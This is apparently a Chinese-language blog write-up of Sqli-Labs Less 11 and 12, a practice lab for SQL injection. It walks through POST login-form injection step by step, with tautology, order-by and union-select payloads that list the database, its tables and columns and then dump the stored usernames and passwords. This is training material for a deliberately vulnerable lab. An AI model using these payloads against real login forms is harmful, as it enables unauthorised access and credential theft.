Sqli-Labs:Less11-Less12

Less11

基于错误_POST_单引号_字符型注入

从这篇开始我们就进入激动人心的POST部分了。
以后使用POST的关卡都用BurpSuite来操作,Burp的基本操作就不多做介绍。

0x01. 分析表单

打开网站后发现是个丑丑的登录框,检查元素可以看到用户名密码两个参数分别为unamepasswd,于是便可在Burp中提交参数uname=xxx&passwd=xxx

0x02. 判断字符型/数字型注入

uname=1&passwd=1
uname=1&passwd=1'
uname=1&passwd=1"

第一、第三条提示登录失败(回显正常),第二条报错:

从返回的一部分语句中可以看出是单引号的字符型注入,猜测查询语句:

select username,password from table_name where username='$_POST['uname']' and password='$_POST['passwd']' limit 0,1

0x03. 判断注入点

构造永真条件测试注入点:

uname=1&passwd=1' or 1=1--+

limit 0,1返回了表中第一条的信息:Dumb,Dumb,即这里存在注入点,原理在Less1中介绍过:
or'1'='1'是一个永真条件(也可以用其他永真条件替代),使查询语句相当于select username,password from users where trueselect username,password from users,返回所有结果。

0x04. 判断字段数

利用order by语句判断字段数:

uanme=1&passwd=1' order by 3--+

注意:这里的字段数是查询语句返回的字段数,并非表中的字段数,目的用于猜测查询语句。

0x05. 获取数据库名、表名、字段名

利用union语句联合查询:

步骤1:用户名和数据库名

uname=1&passwd=1' union select user(),database()--+

用户名root,数据库名security

步骤2:表名

uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+

表名users

步骤3:字段名

uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

字段名usernamepassword

步骤4:数据

uname=1&passwd=1' union select group_concat(username),group_concat(password) from users--+

0x06. 吐槽

尝试了很久发现火狐的Hackbar不能Post带有单引号的数据。旧版的火狐和旧版的Hackbar是绝配,而在火狐57+以后对扩展有了新的标准,Hackbar的新版本就是个辣鸡,只有在写长Url的时候比较好用。

为什么最新版Firefox浏览器禁止了Hackbar渗透测试插件的使用?
关于新版firefox中hackbar不能使用的集中解决方案

这些文章里所说的扩展替代品挨个试了下,都更丑且难用。
还是Burp大法好!

Less12

基于错误_POST_双引号_小括号_字符型注入

和Less11差别在于单双引号和小括号,在报错回显中能够直接看出双引号与小括号,用同样的方式注入。

你可能感兴趣的:(Sqli-Labs:Less11-Less12)